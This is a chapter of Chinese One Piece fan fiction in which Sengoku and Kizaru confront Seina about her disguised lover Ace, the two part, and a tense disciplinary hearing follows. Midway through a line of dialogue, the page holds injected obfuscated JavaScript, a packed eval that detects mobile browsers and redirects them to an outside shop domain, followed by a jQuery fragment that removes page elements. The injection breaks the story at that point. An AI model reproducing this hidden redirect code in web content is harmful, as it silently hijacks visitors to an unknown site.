“战国爷爷,你在说什么呀?”星奈强装镇定。
“别以为我不知道,”战国投来探究的视线,稍作停顿,他又扬起了一个和蔼的笑容,“你养了一只貂白,小家伙的脾气和你一模一样!”
貂白?白貂?蛋挞!
星奈在脑子里快速绕了一圈,她跟着笑了起来,“它就爱偷点小东西,没什么大用处!”
战国的指尖夹着一张照片,星奈的心咯噔了一下,不等她开口解释,他又道:“虽然这张照片也没什么大用处,但是万一上头深究起来会比较麻烦。”
星奈知道自己此刻的表情应该不太好看,不过从一个角度来说,她可以辩解只是害怕被追责,没有故意下达过偷盗照片的命令。
“和爷爷说说怎么驯化这只貂白的。”战国拍了拍她的肩膀。
星奈不敢违抗海军元帅的命令,苦哈哈地告诉他“距离产生美”,严格说起来,她确实没有特意驯化蛋挞,那时只当它是小小的合租室友。
战国不知道从哪里掏出一本笔记本,星奈低头踢着地上石子,她能够在这里碰上他,那也就表明艾斯那边多半会遇上其他大将。
“对了,费切尔不是给你放假了吗?为什么你会从档案室那边过来?”战国停下了记录的动作。
星奈重重地叹了口气,语气满是怨念:“他非要让我去查看案卷档案,不然我早就和诺尔甜蜜蜜去了。”
“诺尔?费切尔临时借调过来的副官?”战国突然有来了兴趣。
星奈偷咽了一下口水,笑容一抽一抽的,最后实在维持不住,她说:“战国爷爷,别装了,本部的人员调动你一清二楚。”
“哈哈,那是自然,小伙子长得不错,是你喜欢的类型。”战国爽朗大笑起来。
星奈不确定战国是否知道艾斯的身份,还是说……他是在清楚的情况下,让艾斯跟随着她进入海军本部的档案室?
“不过,喜欢归喜欢,别忘了自己的立场,也别出现那种让卡普为难的情况。”战国的表情变得异常严肃。
电光火石之间,星奈明白了战国这句话里的深意,不等她开口解释,战国又叹息一声:“你是本部的上尉,又是卡普的亲孙女,那小子配不上你,奉子成婚什么的绝对不行!”
“……”呃?她好像想多了?
战国自顾自地摇着头,然后摆了摆手让星奈自行离去。
星奈一步三回头,她合理怀疑战国爷爷其实什么都知道,但又什么都没有阻止,这到底是为什么啊?
另一边的艾斯打起了十二的精神,眼前这个男人的实力非常强,要不是对方和星奈很是相熟,他刚才就动用恶魔果实的力量,将自己的身体元素化了。
黄猿的拳头在打到艾斯的腹部前就卸了力道,连关节都还没有触碰到,他就淡定地收回了手。
“小家伙,胆子太大就等同于鲁莽,知道吗?”黄猿笑眯眯地开口。
艾斯装出一副恐惧的表情,说话也有些结巴:“上将大人……我……我不太明白你的意思……”
“这就对了,人设要符合身份,不要再出现档案室里的出格行为。”黄猿不吝赞赏道。
艾斯听明白了黄猿的话里的意思,心下顿时一沉,他知道为什么这一路都畅通无阻了,不是费切尔安排妥当,也不是自己运气极佳,而是这群人高高在上地看着这出戏码。
“地下情的精髓是见不得光,更不能拥有破坏二人关系的砝码。”黄猿又暗暗警告。
潜台词:让他尽快离开,不能让她怀孕。
艾斯保持着怯懦感,唯唯诺诺地应着“知道了”,可低头的瞬间,他紧咬着后槽牙不肯松,这样的难堪还是第一次体验到。
黄猿饶有兴致地看着艾斯,神情间的担忧却做不得假,“只是这样就无法忍受了吗?那你知道星奈在本部的压力有多大吗?”
艾斯的双手紧握成拳,不管对方知不知道他的身份,但这无疑是揭开了那层遮羞布,他和星奈的身份完全不匹配,想要让她全身而退也绝非易事。
“师傅!你要对我的诺尔做什么!”星奈一个飞扑挂到了艾斯的身上。
黄猿优雅地后退了一步,笑容和蔼可亲,“只是好奇你包养的小侍从长什么样而已。”
星奈嘴边的笑意瞬间凝固,师傅也知道艾斯的虚假身份?也可能中将及以上军衔的人都知道真相?
“啊,是小中尉,开会真是累人呢,我要找个地方偷会儿懒。”黄猿打了个哈欠离开了。
星奈紧搂着艾斯的肩膀不松,她舍不得他,可眼下的情况已经没法留住人了,越早离开反而越安全。
“艾斯……”她不知道该怎么开口。
艾斯的手掌贴着星奈的手臂摩挲了几下,然后他下定了决心,“星奈,给我一年时间,我一定会堂堂正正地把你带上莫比迪克号。”
星奈带着浓浓的鼻音“嗯”了一声,一年时间而已,她也会在这个有限的时间里,做好自己力所能及的事情!
这或许是二人最难过的一次离别,连一个亲吻都没有就各自走向不同的方向,蛋挞在二人中间直立起身,黑豆大的眼珠子闪着泪花,它舍不得孤零零的妈妈,可也明白自己必须要跟着爸爸离开。
“吱!”【妈妈,等我们来接你回家!】它呼喊了一声。
星奈听清了蛋挞呼喊的内容,眼泪立马跟着滚落,这里……确实不是她的家,而是一间压得人喘不过气的牢笼。
“星奈上尉,元帅召开紧急会议!请尽快前往最高会议室!”一个副官气喘吁吁朝她跑来。
星奈忙拭去眼角的湿润,战国爷爷真是一点不给人缓冲的时间,就算她刚才不舍得让艾斯走,听到这个消息后也会赶着人离开。
最高会议室
“这是污蔑!绝对的污蔑!我没有在本部安插革命军的眼线!”一个中将猛拍着桌面。
“拥有黑市资金账户的人不在少数,为什么只抓着我不放?!”一名上将愤怒出声。
……
星奈一言不发地坐在黄猿的身后,要不是艾斯离开得迅速,审判椅上的人就得多她一个了。
最高位上的战国脸色凝重,倒不是他不知道这些情况,而是世界政府派来的要员吹毛求疵,连一些模糊地带的问题也要放到明面上深究。
“听闻费切尔上校借调了一个支部的副官,方便把人带过来确认一下身份吗?”一个鼻毛外露的男人大声问道。
费切尔的脸色惨白如纸,他拼命朝星奈使眼色,她却直直与之对视,“费切尔上校,你的眼睛是不舒服吗?”
“费切尔上校,你这是什么意思?”那人像是发现了什么了不得的事情。
费切尔佯装自己的眼睛睁不开,语气充满歉意:“多格安大人,我可能
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17942120|210111||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是眼睛过敏了!”
多格安眯起眼睛,表情更显奸诈,他又看向了星奈,不客气地开口:“星奈上尉,听说你与这个副官的关系不一般啊!”
“多格安大人,他是费切尔上校特意借调过来的……中尉,我们并不是很熟。”她差点说出“小侍从”三个字。
费切尔就这么在生与死之间来回蹦跶,现在别说让诺尔去爬星奈的床了,他恨不得把人直接阉了证明清白。
多格安哪里有这么好糊弄,他对着众人朗声说道:“根据我们的情报显示,他似乎与你有着不可言说的关系,海军本部不限制人员婚恋,但禁止本部与支部人员牵扯不清。”
费切尔心如死灰,这几个世界政府要员一看就是要杀鸡儆猴,加上诺尔的身份确实是伪造的,不是他脱层皮就是她遭个罪,或者两个人一起沦为枪靶子。
“多格安大人,这是绝对不可能的事情,我手上的‘花鸢’可以作为证明。”星奈大方撸起自己的右边衣袖,露出上面的三朵小花。
“……”多格安面色一僵。
“……”费切尔不敢置信。
“……”战国等人神色各异。
星奈生怕多格安不相信“花鸢”是真的,大大咧咧地举着手臂走到他的面前,“多格安大人,检验一下吧!这事关我的名声,可不能一句认定都没有!”
多格安示意下属拿来药剂测试,几次擦拭之后,手臂上的图案安然无恙,他的脸色更加难看了。
“多格安大人,你不知道长得好看多招人喜欢,我是没办法才立了一个花花小姐的人设!”星奈摆出一个“你肯定不懂”的表情。
多格安气得牙痒痒,混蛋东西!长得好看能当饭吃吗!能够快速升官发财吗!
“星奈上尉,不能对多格安大人无礼。”战国仅仅是呵斥一声就没下文了。
卡普当众开始抠鼻屎,他一边抠,一边吐槽:“元帅,这怎么就无礼了呢?长得不好看还不让说了?”
“卡普中将!”多格安险些气炸。
星奈努力抿住嘴角,要是一不小心笑出声,那可就不好收场了。
“长相是爹妈给的,长成什么样都要认。”赤犬冷不丁冒出一句。
星奈“噗嗤”一声笑了出来,所有人的目光汇聚了过来,她只能暗暗掐住自己的大腿,抖着声道:“我……我十分认同赤犬上将的言论。”
“哎呀!星奈上尉,还不快点坐回来,你是想让多格安大人自卑死吗?”黄猿朝她招招手。
“慢着!星奈上尉可不止是生活作风有问题,还牵扯黑市的资金账户、药材贩卖、悬赏金出入……”多格安发了狠,一股脑全说了出来。
“……”会议室里安静一片。
强,真是强,星奈一个人就可以包揽所有的罪责,不让她作为反面典型教材都说不过去!
星奈扬起了一个大大的笑脸,她如恶魔低语般开口:“多格安大人,你确定要把那些大人物都牵扯进来吗?”
“不愧是老夫的亲孙女!”卡普竖起了大拇指。
多格安嘴角一抽,卡普这一声的“爷爷认证”分量不轻,加上她口里的“那些大人物”,就算更高一层级的人过来,恐怕也不敢轻易动她……
“费切尔上校,还是说说你的问题吧!”他调转枪头看向费切尔。
“!”这个欺软怕硬的狗东西!